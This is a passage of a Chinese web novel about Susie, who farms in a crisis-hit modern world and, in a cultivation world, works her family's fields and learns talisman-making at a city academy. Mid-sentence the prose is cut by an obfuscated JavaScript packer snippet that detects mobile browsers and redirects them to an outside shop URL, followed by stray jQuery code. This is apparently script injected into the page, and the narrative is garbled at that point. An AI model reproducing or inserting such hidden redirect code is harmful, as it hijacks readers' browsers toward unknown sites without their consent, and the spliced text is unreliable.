洪水来了又走了,这次多停留了一天,造成不小损失——都是别人家的。
五天后,苏茜的病基本好了,只是还有些咳嗽,水位也完全恢复正常。戴着N95口罩的理赔员在她忍不住咳了几声后只是按照指点看了一圈,将单子放在桌上就立刻跑了,全程保持一米五的安全距离。
苏茜摇头。好吧,她也是与对方保持距离。
她只有普通医用口罩存货,不过加个透明面罩和雨衣,应对顾客就完全没问题了。何况大家现在都学会了自己挑选、称重、“凑整”,似乎算术水平也上去了,哦,扫码付款也没问题,全程保持距离。
不能不说,大量人病倒影响了很多人的生计。连诊所医院里的医护都因为反复生病还没得加薪而越来越暴躁和虚弱。
所以说,住在宽阔的农场虽然远离城市和诊所超市商店,但不需要与一堆人挤时不时出问题的电梯或是堵在道路上动弹不得,以及一死一大片的养老院……另外,干农活不比花钱健身差,还能赚钱。她应该能做到退休年龄,那时就到了社保和寿险发挥作用的时候。
……
两箱土和营养液渣倒在树苗边上。
回去农场洗手,吃午饭,吃保健品,炎热的天气里合衣在木制长沙发上睡半小时,起来干活,顺便做生意。
山下城市偶然出现的木仓声并不会传到农场的林间。
市区高达华氏100度,这里才88度,再配合整齐的林子,嗯,奇奇怪怪的大棚和蚊子……
“苏茜,你的农场卖吗?”
“不卖,因为卖了也买不起西城的小公寓。城里工作没那么容易找,而且吃菜和取暖都要自己付钱。”
“……也是。”这个农场和房子都太小,改造的成本也不小,所以他不乐意多花钱,但金额少了对方就无法安生立命了。
“我倒是建议不要买山区林场,除非是买一座山的那种。还是有水塘有森林的平原,不用很大,几十英亩都够了,夏天可以钓鱼,冬天可以烤火。我们这里的水是半海水半淡水,不适合钓鱼,水也不能直接用。”
“啊,你们不是用河里的水灌溉吗?”
“不能。不然地会变成盐碱地。”
“天哪!得用自来水?!”
“是。冬季可以利用雨水,但雨水太脏,需要过滤后才能用。”岛上的雨水是很不错的,嘻嘻,还能在本地漫长无雨的夏天晒海水,蒸发得到的水虽然少但相当纯净,能直接作为水培的基地液,更适合自己饮用。不过对外,她晒的是河水。“夏天其实有个省钱费力的方法,就是用咸的河水罩上塑料布,放在太阳下蒸发得到一些纯水,水质不比自来水差。唯一不好的是数量太少。”
“真是,聪明的做法。”开农场种蔬菜那么穷啊?不过想想水费电费和营养液之类的成本……小农场主如果不自己上阵干农活应该是赚不到钱的,而家里也没有有钱到买个农场来度假的程度。
苏茜其实并不是那么介意卖农场这件事,她介意的是价格。之前她只知道小镇上的房价,她的表兄卖掉达亚娜的房子时才四万多——他想卖她个高价,被她骂了一顿后两人老死不相往来——现在山下那个窃案劫案天天有的塔城,别说独栋,市区一室一厅、电梯经常停摆的老旧公寓要近二十万,西城这个面积起码三十万还不太碰得到卖房的。至于说租房,完全不考虑,因为她的社保养老金估计只能付得起房租和面包钱,培根都吃不起,鸡蛋得去排队领救济。
真要到那种程度,她宁愿给自己一颗子.弹!
对了,自己还有谷歌的股票呢!前些年在配售的时候干脆又买了点,现在已经多少钱一股来着?最近科技概念不好,要不卖了吧!
苏茜查了下股票和一些新闻,总觉得有些不安心,干脆把股票卖了。可在证券公司网站上折腾了半天还是不行,最后不得不去市区办理。最终核算下来,相当于小镇上达亚娜的房子换成塔城的,一样面积。
这笔钱要交税的,即使本州没有个税也一样。所以她扭头就去买了带医疗和年金性质的寿险——如果她提前退休,可以先“贷款”领寿险,到了年龄再全额领超出交税最低基数不多的养老金,这样税收和收益应该是最划算的。她一个穷人做不到有钱人弄家族基金,但给自己合理省点税还是能做到的。
9. 修士烦恼多(一)
请问修士要吃东西吗?
答:要吃要喝要拉要撒。
请问修士需要工作吗?
答:当然要工作挣灵珠。
请问修士间会打架吗?
答:没有不打架的修士。
请问修士受欺负咋办?
答:凉拌,或者办回去。
……
苏茜早就过了惊诧期。种地这活她还算是比较熟练的,或者说是非常能接受的工作。远近这一片都是她家的地。本地“亩”的面积比英亩大很多,所以她家十口人虽然只有“区区”十六亩中下等山地田,但家宅周围四个小山坡都是她家的。
“大力啊,你家阿明可惜了,要放在几百年前,三灵根肯定能进宗门。”
“在家也挺好。你看之前的那些金丹大能,现在不也在种地,听说时不时有金丹去打秋风。”
“金丹种的东西肯定跟我们种的不一样!据说都是灵植,真正的灵植!”
“所以才有那么多人去啊!”还有去偷的,有的得手了,有的被杀了。
“可如今即使种了灵植也没什么用吧?还能练什么晋阶的丹药不成?”城里城外好几个人找到过丹药,但服用之后都没晋阶,还有人因为丹药来路被杀了。
“城主不是都说了,根本不存在吃了就能晋阶的丹药。”
“城主以前还是元婴大修士呢!唉……”
“是啊,有他在,我们家还能安安稳稳活着算是不错了。听说外头不少地方打得不像样,最后都只剩下凡人了。”
“凡人也没什么不好。你看我家,父母岳父母俱在,子女双全。而我舅兄,就是为了晋阶,没了,孩子都没留下一个,妻子也跑了。”
“唉,凡人好啊!仙人,是不会再有了,知道却永远做不到,还不如不知道。”
“……”
“……”
苏茜已经在除远处的杂草——这些老掉牙的内容懒得再听。四个孩子,一对壮年夫妇和两对中年夫妇,一边修炼,一边种植含有少量灵气的作物供应修炼和填肚子,并且拿出去交换所需,日子还能过下去。
说是中年夫妇,其实已经快七十了,但看上去也就是四十出头的样子,目测四位“老人”还能活五十年。他们毕竟算是修士,哪怕无法筑基,也能强体延寿。
“很久以前,应该是很久很久,修士们都是用辟谷丹的。不过我们现在没条件,所以小茜和小越也要开始自己种粮食了呢。”大姐苏明摸着孪生弟妹的头,然后一点不含糊地教他们两个翻地播种。
田地里的杂草几年前就都是他们负责除掉的,包括浇水,现在轮到真正的种地了。两小资质悟性在现今这样的环境里算很不错了,十岁前就引气入体修炼。相比之下,二弟苏勇十二岁才学会修炼、现在快二十了仍然是练气初期,居然跟十五岁的弟弟妹妹们一样,而一身力气甚至还不如最羸弱的外祖母,跟他的名字完全相反,实在让苏明气不过。
边上的苏越瞅了眼挥锄头翻土的妹妹苏茜。很小的时候他还能欺负下家里最小的孩子,可后来,对方打起来毫不顾忌自己受伤的狠劲让他从此以后就成了家里食物链的低端。他家实在太奇怪了,除了外祖母,女的各个凶悍无比,干活一把好手、打架决不后退,虽然家里人的武.器都是祖父和父亲打制的,但用得最好的都是他母亲和大姐,甚至以后搞不好他妹妹还能更悍?他想着,突然打了个寒战,抬头张望时就看到苏茜在前方抛来鄙视的眼神。
啊,完蛋了,他又成为没用的东西了!他立刻挥锄,拼命赶进度。终于在快天黑的时候种完整整半亩地。
半亩地啊,几千颗种子!他中午只吃了一个饭团、喝了一小桶凉水,不停地干了快五个时辰,快要累死了!最可怕的是那水还是妹妹用水系法术凝结出来的!对了,她还用火给自己的饭团加热!这家伙怎么有时间学那么多的?!
“回去吃饭了。”苏茜用小法术洗干净手,然后在孪生兄弟胸口又插一刀,“你不是有学习土系法术吗?干嘛不用?用了的话你至少可以种一亩地。”
“……”苏越气得眼前发黑,但很清楚如果自己敢迁怒,妹妹都不需要用法术,一顿老拳就能教训他了。真是的,既然生了他,干嘛还多生一个妹妹啊?!
晚饭是菜饼。家里的饮食极其简单,就是自种的几样菜和换着种的三种谷物主粮,而且份量都不算大。
“今天小越和小茜辛苦了,肯定饿了,多吃点。累的话晚上修炼后就早点睡吧,不要再练习法术了。”给一大家子做饭的都是祖母,因为她当过帮厨,经常换着法子烹饪。她也是全家唯一将苏越的地位放在苏茜之前的人。其他人都是说小茜和小越,只有她会说小越和小茜——相信几年后她也会“改”过来的。
“我还是要练习土系法术。今天如果多用法术,我干活会更快。”苏越咽下嘴里的食物后道。
“我要练习木系法术。种地需要用到。”苏茜对这类含有灵气的食物对能量的加持作用以及对生长养分的需求很感兴趣,比如说今天种下的是两年半生谷子,间距就比之前的一年生要大得多,用水似乎也更多。
“!你什么时候学的木系法术?”
“你不也学了?”
“可那是辅助除草的啊!”
“册子倒数第二篇就是种植的。你是不是后面的法术都没看过?”
“……”
方圆万里,或是更远的距离吧,最后一个宗门也在一百多年前关门了。但带来的好处是原来都由门派和大势力控制的功法现在大部分都成了书店里随便可以买到的,纸书。听说以前还有玉简之类,是用神识“看”的,但因为材料越发少而极少有人用,反正哪一年开始突然有印书的作坊印了大批的修炼和法术的书籍,经过大家证明有用,于是连凡人家里都买了,还让孩子去城主办的学校学习修士语言等等,就指望能培养孩子修炼,哪怕没本事用法术,强身健体也是好的。
“你们明年想去学六艺吗?”真正的一家之主苏英女问道。她目前是家里唯一在外“工作”的人,最小的两个孩子长到五岁后就一直在城主府里做女侍卫,一个月才回来一次,一般除了灵珠还会给老人和孩子带些镇上都见不到的东西。小的时候苏越最爱在小伙伴中显摆这些,被苏明揍过之后就没有乱说话过了。
“我想学符术。”苏茜直接回道。六艺是个统称,完全不是她曾经看过的小说里讲的什么丹符器阵,而是城主开的十几门实用技艺培训,学费极低;学得最好的为城主府工作,差些的在各个店铺里找活干,最差的就是回家吃自己。医术是其中的一项,同时包括治病和制药,且修士凡人都看,但种植灵植这些却是归到农科里的;符术也是一项,但不包括符材制作,制作在造物那边。
“我要学武技!”苏越立刻跟上。武技是最受欢迎的一项,分很多门不同的课程,连凡人都能学比如箭矢、刀柄制作之类,而武.器制造归到武技而非造物。父亲苏力和祖父苏成都学了这门手艺,可惜天赋和修为都不行,打造的大刀只有家里人用,女主人苏英女用的可是城主府里发的好刀,最终他们成了镇上的铁匠、木匠兼建筑工。
“行,我会帮你们直接报名的。”苏英女根本不问原因,只是点头。两个小家伙才十五,但已经能用法术,不说百里挑一,十里挑一还是配得上的,尤其是小女儿,学什么都快。要不是她要学的东西太多,可能修为已经超过孪生兄弟了。
对了,修士们最爱用的武.器是大刀,厚重且能附上法术的,而不是小说里的飞剑。能让剑飞起来杀人,甚至用剑气的,都是金丹及以上。而那些人在如今的环境里,除非是抢夺要紧资源,基本都不会与人动手,连御气飞行这种大量消耗灵力的情况都很罕见,因为金丹修士如果耗光灵力,可能需要一天一夜的修炼才能补回来,因此甚至比练气修士用光灵力还要危险!
* * *
练习半个时辰,修炼一个时辰,睡觉两个时辰,早上起来用个茅厕再修炼一个时辰,然后洗漱吃早饭——就是包着菜的饭团,吃几个,再带同样数量当午饭。大家去地里干活时,已经是辰正。
经过加起来两个时辰的修炼,苏茜的肌肉疲劳基本上都恢复了,不过似乎苏越的状况略差。
“你怎么了?昨晚练习过度?”
“嗯,花了太多时间,结果睡得少了。”又困又酸痛。
“那我会早点结束练习法术。”免得将孪生兄弟比成渣。
“……”你就不会说帮我干点吗?可惜苏越不敢这样说,怕被妹妹揍了之后再被姐姐打,因为这种堪称“偷懒”的举动连最疼他的祖母都不会原谅他,连母亲回来听说了都会揍人的!
兄妹两个的地块距离家里略远。苏茜做完今天的活后,躲远了点像是去找地方方便,实则回了一趟岛上。
岛上如今比最早的荒岛好了太多。而且,岛上有少量的灵气,这一点让苏茜极为高兴。虽然灵气浓度比身处的世界还要低很多,可是能保证安全,时间足够的话还可以恢复灵力。花园木屋已经非常陈旧还漏水漏风,三角木屋基本都散架了。山洞里大量的东西都成了垃圾需要清理掉,唯一让人安慰的是经过她的法术加固,水渠和山洞更加稳固,洞里还开辟了一个小储藏室。
苏茜能进来的时间不多,因为全家那么多人,而且还有修士。尤其是她母亲和大姐,是能用神识查探四周的,她不能随便进出,当然也不需要。家里都是修炼的人,即使二哥其实没什么资质还是称得上修士,作息根本不是凡人的日出而作、日落而息,因此每人一间房间供修炼不说,还相隔着一点距离以免互相打扰,中间的堂屋、厨房是大家共用的,两间茅房和一间洗浴间是在另一边。冬天的时候,这种布置就不是那么人性化了。
“呸!”苏越吐掉一口雪沫,哆嗦得更严重了。冬天跑出来大解,哪怕裹着棉衣裤都不行。跑进堂屋后更郁闷了,连二哥都穿得比他少,更不要说妹妹。
“你就不会运功?”苏茜无语地看着这家伙。她从没见过、更没听说过便秘的修士……这也许跟苏越怕冬天上茅房而特意少喝水有关联吧?
“一旦停了再重新运功,就,更……”拉不出来了。
“吃壶温水加少许泻药就行。别加太多,你上次就是,水喝得少药下得多——”极为凄惨,还是大姐出手……呃,不能回想。
“武技课有一条,冬天也是穿练功服在室外练的。”做不到就回家。因此学的人多,能学成的最多两成人数。苏力好心提醒小儿子,其实他觉得最小两个孩子的选择如果对调一下就好了。但显然两人都不同意。
“没事。我会训练自己一直运功的。”不能被妹妹比到地底下吃泥巴是他唯一的执念。大姐在好不容易晋阶中期后已经成为镇上唯一一间卖书兼教导修炼入门的书店的管事,每月能赚两三百灵珠,虽然只有母亲的一小半,但让家里人时不时吃到含有灵气的肉,还能存起来在镇上造间房子独立出去,或是在附近再买块地未来接手苏家。
“你也可以晚一年去念,将修为打磨得更稳固些。”苏明评价道。从今年开始,她弟弟在修为上已经比妹妹有些落后了。
苏越正想坚持己见,母亲开了口,“你后年再去上学,不然再过十天你就要在雪地里站桩一个时辰。”
“这个,能穿您给我的羽氅吗?”
“只准穿练功服和靴子。单靴,不是你现在穿的棉鞋。”
“我那年也是太过自信,撑了几天最后还病了,之后就一直是同学里倒数的那一拨,只学了三年就退学了。”苏力难得将自己的黑历史拿出来,这算是父亲的最后一点点“同情心”了。
苏越简直想放声大哭。
“你在家好好修炼。每天三个时辰。反正明年的农忙季我会请假回来帮忙的。”苏茜算是给兄弟一个安慰。
“小茜,你可以先收拾行李,后天跟我一起走。早点去学堂挑间屋子。”
“好。”
主城名为宇清,距离苏家上百里。这里的“里”比公里长得多,大家都是到镇上乘坐兽马大车去主城,到城门附近的驿站再去宇清学堂。前后整整半天,算比较快且便宜的交通方式了。苏英女也是这样来回的,因为每月也就是三天假,所以每次只能在家两天都不到。如果苏茜去上学,得交点食宿费住在学堂,可能几个月才回来一次。
兽马大车其实就是畜力平板车,可以一百灵珠包车,也可以坐满十个座位、每座十灵珠后一起出发。
苏茜的年纪当然不可能坐在母亲腿上,何况她还背了个大包裹。学堂其实是城主补贴的,半年的学费和食宿费加起来才三百灵珠,甚至是一人一间屋的住宿条件,要知道城里的普通客栈单间住一晚不包吃饭至少十五灵珠。当然,学堂的房间就是个静室的大小,一门一窗,除了一几、一席,一个布帘和帘后的盥洗间,其他什么都没有。席倒是好席,是专门种植的千绒草制作,冬暖夏凉,打坐修炼和睡觉都在这张席上——苏茜其实很想买的,可惜没钱,更不知道如何种植和制作千绒草。她现在除了十几个基本法术,就只会一点种地的技术,其他啥也不会,零用钱也只有母亲每个月给的十个灵珠、如今都带来学堂,离开家里的田地都无法养活自己。
宇清学堂在宇清城外,占地很大。场地、房舍、师资乃至入学前领的“校服”,都是城主府出的。
但是,请问符术课程的第一课为什么是学习给袖口绣花?
符术课的统一着装都是“复古”的修士袍样式,就是布料在这大雪天气里显得很单薄,没实力运功保持温暖的少年少女们只能在里面穿棉衣。苏茜穿着偏薄的夹棉衣,外套袍服,因为个头不矮,看起来并不臃肿。
现在,上课的先生告诉他们,为避免宽大袖子扫到符墨等物,大家要先学清洁符——绣在袖口上的。
黄纸和鬼画符呢?对了,啥叫符线?
“大家照着这个图案,按册上指示的顺序,用符线将袖口一圈都绣满,这样能保持三年左右不需要更换袖子。”先生表示,第一堂课一点都不难,因为几乎所有的学生都不会绣花,目测两个袖子能让半数学生绣上半个月什么的。看,穿针引线都要花不少时间!
苏茜仔细感应,才发现符线真不是大家身上衣服所用的棉线丝线金属线,而是某种带有少量灵气的纤维做成的。略粗硬,而且不是长线,是半尺左右的一根根线。这里的尺和寸的长度倒没有太夸张,所以一根符线能绣出一个符文。
对,是清洁符文。
“先生,这个能否绣在衣襟和后背上?”
“可以,但袖口以外所用符线要你们自己买,一整盒一百灵珠,大概能让一整件衣服三年无需清洁,但你们身上这件衣服如果损坏,买件新的只需三个灵珠。如果灵珠不够,以后可以去学堂里的符部接任务。”先生显然有点恶趣味在身,看着九十四个学生的表情心情挺好。
苏茜属于动作最快的那一拨学生。第一天,花费四个时辰学会了第一个符文。
累死了。两个袖子,起码得十六天吧?
第三天,先生过来教已经绣出来至少一个符文的学生新技能:神识辅助“绣花”,顿时大家的速度蹭蹭就加快了三四倍。到了第十天,包括苏茜在内的九个学生已经完成了袖子的“绣花”作业。
这些学生被分到甲班。乙班是二十天内全部完成的,有五十几个。其他的都去了丙班。
从此时起,学生们尤其是甲、乙班学生才真正意识到学堂竞争的残酷:甲乙班不是一直不变的,而是可能就在下一次不提前通知的考核又重新调整。丙班不是没有机会,但在甲班四个月后的第二次考核后已经彻底没了可能。
“先生,不是故事书里有一位仙人在飞升曾经用一张从古仙府中得到的符宝,将一头火龙变成冰雕,最后碎成了沫?”
“那是若干万年前的事了。万年前这样威力的符宝就已不可能制出来,千年前连符宝都没有了。现在,你老老实实学翻地符,说不准未来能活到三百岁。”
“……是因为灵气不够了吗?”
先生根本不搭理这个满脑袋小说故事传说的小子。“甲班已经将这本书上的三十六个符都学完了,能在灵石上制作出一个符就算过关。你们这些连灵石长什么样都不知道的小家伙,还打算学多久?!”
至于丙班,还在学十二个常用符中的符文。而第一批淘汰的四名学生已经回家了。
苏茜对第一名已经没了想法。甲班至少有三名学生是有基础的,甚至入学前已经学会了至少二十个符,并且在家时就开始学做符。
哦,不是画符,又是一件让她重新学习的常识。听说很久以前的符材质各异,从龙鳞到空气,从一个符干掉一个仙人到凭空画符开山打怪。至少现在,他们这些学生做的符都是在从来不作为一般等价物流通的灵石上。而事前连手的材料则是黄金……好吧,在民间,黄金也可以买不含灵气的东西,比如她家房子所用没法自己制作、自家田地也不出产的粗壮木料。至于更便宜的等价物就只有铁钱,其他往往是易物交易。
最受欢迎的交换物就是她家前年收获的一年生谷子,含有些微灵气、非常顶饱,婴儿拳头大的饭团可以让一名凡人壮汉干活三个时辰不饿,不过修士就不够了。光是人力翻地种下种子,苏茜本人的效率在法术的加持下堪比两名凡人农夫加一头牛——就是时间比较短——自然吃的东西也得增加。
亦所以几乎每个家庭都希望自家孩子能修炼,苏英女这样的“顶梁柱”自然就能无视性别成为家主,长女苏明则是家里排位第二的主力军、未来的家主。
“你怎么想到在锄头上做符的?”甲班先生十分好奇。其实在凡铁造的物品上打符文比在灵石上容易,但从价值来说很不划算。
“给我两个哥哥种地时用,省得为了他们的面子,我还要停下来等他们。”
“……”思路真够清奇,但似乎很实用?先生点点头,过了。“你的灵石没有用,可以交下一份作业。想好做什么符吗?”
“火龙符。”
“好。”从翻地一步跨到火龙?这跨度真够大。“火龙符难度不小,一定要静心。”
“是。”
所谓火龙符,又不是真能跑出来一条火龙,而是只能操控大方向、无法控制其具体走势的火焰。也许高级的火龙符就是火龙,反正以苏茜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976281|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的教材来看,就是个小火弹,还不如霰.弹.木仓,跟迫.击.炮完全不是一个量级——可也正是威力不大,这片土地的普通百姓才过了百年没有战争的和平日子。
接下来得好好学清洁符和封存符。然后就可以把自己封存的那些武.器和物资重新清理封存。
* * *
“送你们的工具。这是我做的,有附着翻地符,应该能对付明年的耕作季。”失策,今年下半年都是收获季,而且要修养施肥,明年再耕作。
不过,收获季,不正是新学的风系发挥作用的好时机吗?她最爱的、帅呆了的风系啊!风系符附着在弓箭上的做符技术还没练出来,但是可以拿镰刀练手不是?!
所以她拿来苏越的镰刀,吭哧吭哧花了一整夜,弄出来个……可以将割下来的麦穗叠在一起不立刻掉地上的辅助能力。
看着苏越的便秘脸,苏茜默默地将自己的镰刀也一起给他,然后决定自己负责的地块还是用法术吧!
很多学生在农忙季节请假回家干活。除了少量是借机不想天天啃着无味的饭团、睡在硬邦邦的席上,大部分学生都是农活的主力。苏茜特意与其他家人拉开距离,风系法术随着灵力、咒文和手势,身前接近人高的庄稼齐刷刷地倒伏一片,目前足足有一分地。
幸好没有割伤自己!
她调节好状态和角度,再来一个风系,面积更大一点点。接着就难以为继,直接上肌肉力量。晚饭时,她已经将分给自己的那块地上收获的庄稼一趟趟全部运到家里堂屋前的空地。连苏明都承认这个妹妹干起活来比自己还要猛。
苏越瞅着自己的两柄镰刀,不知道该说什么——他连风系法术的边都没摸到,所以天赋什么的真讨厌!他坚决不承认双胞胎兄妹其实先天资质完全相同,是自己每天平均修炼的时间连两个时辰都凑不满而导致差距越来越大。
“你在学堂就是每天学做符吗?”
“我们甲班,先生每三天上课一个时辰,检查作业考核,其他都是自己练习,自己修炼。乙班是四天,丙班大概是十天左右吧。这样一位先生正好忙得过来。”
“你一直在甲班?”甲乙经常有变化,这一点上过学堂的都知道。
“你们考了几次了?”考了几次都是甲班,如果能继续保持最好。
“这三天、四天、十天的,怎么区分啊?”十天上一节课、交一次作业?有这等好事?!
“我从一开始就在甲班,没掉到乙班过。我们已经考核了三次。丙班就是三年内就回家的班。乙班是有可能学成的班。甲班根不上进度的就去乙班。我们已经有几个学生回家了。”
“啊,十天上一次课不是好事啊?”
“同样一件东西,我只学三天就学会了,你如果要花十天。那么当然是你回家,我留着。” 苏茜狠踩苏越一脚。
“我明年还是去学造物吧。”苏越的雄心壮志都转为了脚踏实地。好在这半年里,他对木匠活计有了一点心得,不然如果真的一年就被退学回家也太过丢人。
农忙的时候家里人手勉强够用,因此苏英女就没特意回来。不过苏茜回学堂后,在一个午后见到母亲。
“这些灵珠你拿着当零用,需要买的东西别节约。还有灵石,觉得特别好的符就做出来,没有便暂时放在你那。小心别丢了。放屋子里也不是特别安全,每年学堂里都有失窃的事情,有时能抓到,有时抓不到。”
“好的。”苏英女是办别的事情顺便路过的,匆匆交代完就骑马走了。这里的马匹跟苏茜脑袋里的马长得不太一样,还分很多档次。最厉害的当然能飞,最普通的有点像驴子。苏英女的坐骑算是中档,四肢修长、跑得很快但不能负重,骑士必须是修士,不然会骨折甚至摔死。
苏茜回去后继续修炼。余下的时间全部用来看书、练法术和在白纸上练符术。毕竟是符文,灵力输出的稳定流畅程度直接决定成功与否。
清洁符、清洁咒、清洁术,名字看起来有关联,实则是不同的东西。清洁术往往是对自身用,保持身体和衣物的清洁,俗称点尘不染;清洁咒往往与巫蛊、死灵等相对,如果配合金光咒效果最佳;清洁符最重要的是保持小环境比如橱柜、地下室之类的清洁,配合封存符最适合物资存储空间。
符是有有效期的,但是,有总比没有好,起码她能清理出这些年的灰尘杂质,何况这不是可以过几年就用新的符吗?!像是储水池、陶瓷盆,水渠乃至屋子、山洞、集装箱甚至发电机——清理出来的污垢让人惊愕。有趣的是,发电机等少量电气制品因为一直放在封闭的环境里,可能还能用。
心情大好的苏茜在新的考核里首次进入前三。
“我家有十六亩地,之前有不少农活是我和我兄弟做的。去年回家收割庄稼的时候,我用了风系法术,但一天只能收割三分,其他差不多三亩都是用镰刀割的,从早到晚干了几天。所以我就想着怎么用法术和符术帮助做农活。”
所以她的实践考核拿了第三。
其他学生不想说什么。学以致用一直是学堂考核最喜欢的点。
不过等下一个锋锐符,她竟然拿了第二!先生还特意表扬了一把。
原因是,她觉得耍大刀十分英武。
“我的零用钱要买些书和灵兽肉包子回去给兄姐,所以学好了可以回去请父亲给我打制一柄凡铁刀,加上锋锐符,也可以震慑那些短斤缺两还对我挥拳头的不良商贩。所以,我觉得,自己用得上是最好的激励。”
这一届的符术只剩下甲乙两班不到四十人,其他学生都退学回家了,个别不甘心地从头开始学其他课程。再过一年,他们就会从学堂毕业。城主府用的人全部是直接接洽而不是贴榜招人,但目前没有人与苏茜谈过未来,她也不在意。说实话,光是在农具上运用符术,就足够她生活了。
“听说府里做符的人很多,这几年都只挑选一两名符师。苏茜,有人找过你吗?”
“没有。”苏茜正在学堂的书店里找书。“没有城主府,没有店铺。不过我父亲很喜欢我在他卖的东西上加一两个有用的符。上次他卖的大衣柜多了清洁符,原本的三块金元立刻卖到三十灵珠,他就给了我十个灵珠。”十个灵珠可以换三块金元,反过来兑换则要四块金元换十个灵珠。
“你做的符才得十个灵珠?!”
“我们做的初级符防尘不到十年。能开什么价。”找到了先生说的中级符文大全。虽然贵得有点牙疼,但不得不买。幸好学生买书可以便宜点,但也要三百多灵珠,直接将她的小金库刮走大半。
那位同样是农家出身的同学被颠覆了认知,呆愣好久才道,“我以为,总能值个几百灵珠……”
“我们学费才多少?做个初级清洁符才多久?”他们这样的练气初期,修炼半个时辰、花一小半个时辰,还想挣几百灵珠?想什么美事!连青楼都没这个价——当然城里没有修士青楼。
苏茜没时间浪费在眼高手低的人身上,径自苦着脸出去付账,然后抱着一摞书跑回静室兼寝室。这个书价,肉疼啊肉疼!哪怕这不是一本而是一套图书叠起来半人高、还是大开本的,要不是修士根本抱不动。
考虑到安全问题,苏茜连着两天都待在室内抄书,挑拣着将肯定无法抄写的书都放到山洞里。顺便说一句,灵谷灵菜做的吃食保质期明显比普通食物长,加上室内外一样冷,所以放两天也还能吃。
两天一夜居然抄了五大本,不得不说,这书的纸张质量过硬也厚重,五大本的符文都是她有基础的,文字部分也就是万把字,手抄笔记还是可以搞定的。她对学堂里的硬笔非常满意,尤其适合快速“草书”。
抄书的笔记本加笔墨,一块金元可以买一小箱笔墨加上三十本很厚实的硬皮书写笔记本子。一万字和三十个符文及其组合,都写不满一本笔记本。
得去上课了。她将抄完的书放在寝室、门窗都加上小机关才离开。
课堂上她问的就是书里的内容。
先生暗中点头,又是一个会自学的学生。那书的价格其实是经过斟酌定下的,太便宜会让人觉得廉价不珍惜,太贵直接打消学生的积极性,正好是个能付得起学费的家庭大多能承受的数字。买一本打折也要三十灵珠,整套四十五本学生买打折三百六十灵珠——外面的书店至少一千——贪便宜的本性会让学生们买全套,而且基本上都会看完不舍得浪费钱。
苏茜并不知道先生们的良苦用心。她永远都是缺钱贪便宜的俗人,甚至还因为怕被偷而拼命看书抄书。等起早贪黑把四十五本书都读完,她突然感觉就是现在退学也没事。
因为山洞里的存货有了不小的进展。不仅是所有东西要么扔了,要么看上去九成新——部件老化除外——这次的封存符可以持续起效三十年,到完全失效估计也还有十几二十年的。而清洁符因为消耗小,有效的时间更久。
但其他高一等的符就没那么容易了。
比如能让弓箭射程增加好几倍的符,要不影响准头和杀伤力,加工箭头时还需要注重效率,练习起来不是一般的耗时间,制作的消耗也比封存符长得多,因此周期是后者的五六倍。酬劳的倍数更多。
10. 修士烦恼多(二)
“噗——砰——”
箭支正中靶子,不过不是靶心,而是偏了些。此外,箭头没入靶子一半。
但考虑到四百步的距离、铁质靶子以及飞快的速度,这个成绩堪比异世界的步木仓。
“好!”几个考核的先生叫好,其中一位还是武技课的先生。
“这娃不错,要不要转来我们武技课。”
“呸!她都要学成了,你还骗人学费不成。”
“不不,这样的好苗子不需要另外交学费,只要在其他武.器上用上符术,就算武技这边学成。”
“你是说?”
“没错!”
苏茜是本人亲自测试弓箭的,得一路走过来靠近靶子的地方交考核,只听到后半段。她望向自家先生。
“要不你试试在刀上做点什么,通过后就等于又学了武技课,而只要交符术的学费。如果考得好,有可能入城主府做事的。”武.器附符,还是有希望去城主府的。
苏茜对学习新东西颇有兴趣,对城主府工作没兴趣。她并不认为去城主府旗下的符堂排排坐、每天做相同的事是多好的差事,除了收入稳定,估计那时连自己的小岛都去不了,还有可能被“分”到一个丈夫。所以她并没有如先生预料的那样通过母亲的关系去符堂打招呼,为“前程”铺路。
“你是怎么想的?”苏英女问小女儿。她觉得小女儿上学之后就完全捉摸不准想法了。
“女儿想先去铺子里挣点灵珠,然后回来学造物。”武技的课程她旁听过,由于其班级划分过分细致,包括将法术、修炼和武技完全分离的做法,令她对两年学一件事毫无兴趣。唯一有意思的就是造物了。
“你想自己开铺子?”
“不一定。买铺子或是买地都可以。”家里十六亩地未来给大姐二哥二哥都够呛,她能自己养活自己,何必抢兄弟姐妹的生活来源。
“好。”能自立不需要啃老的子女当然好,“母亲支持你。造物的学费我来出。”
“不用,我下月去帮工,很快就挣出来了。学堂里的屋子我付了灵珠保留下来。”她已申请延期付学费,这个就不用跟母亲说了。至于家里农活,她表示自己已经将家里的农具“武装到牙齿”,连水壶都成了保温的。
“拿着,你好好学本事是最要紧的。”苏英女叹息着,还是塞了一袋灵珠给她。
苏茜没拒绝。她正在边打工边研究各处的地价和房价。
需要提一句,城里普通住房和商业店面的价格差距不是几倍,而是几百倍。最靠近城门、各方面条件都不行的无院落住房才五百灵珠,同样面积的主干道铺面则是十万起,大店铺则基本都是城主府的。租住价格差距倒没那么大,由于本地租房大多是带家具、取暖、马车、吃食供应甚至仆从,比住普通客栈独立小院还贵,普通商铺的租金都及不上。至于镇上,住房倒是比较统一,两进带后院兽车停车地的院子一般在五万上下,没有一间屋那种房源,铺面往往都是前店后院,每个房源的价格都不同,从来不按面积定价,从一万到三十万灵珠不等。
而田地的价格很有意思,宇清城周边因为一些她把握不准的原因,比她家那一带地价低不少,一亩才一万灵珠左右,而她家的十六亩地价值超过五十万灵珠,是几代人慢慢攒钱扩充的成果。
对了,本地有价值的东西尤其是土地都以灵珠计价,没有人接受金元。因此在苏茜说一半的酬劳可以用金元付、兑换还是一灵珠三块金元的时候,几家铺子抢着要人。
黄金吔!苏茜完全不觉得吃亏。本地的金元纯度很不错,即使没有到24K,应该也有18K以上,如果不是因为缺电,她早就下手熔炼了。三块金元就相当于一根小黄鱼,三百金元足够在一线城市买间卧室、哪怕在港城也够有个棺材板了,这好事上哪去找?!她完全无视自己连夜“加工”的首饰、家具、服饰、武.器以及各类的符石在店里卖了翻倍的灵珠。
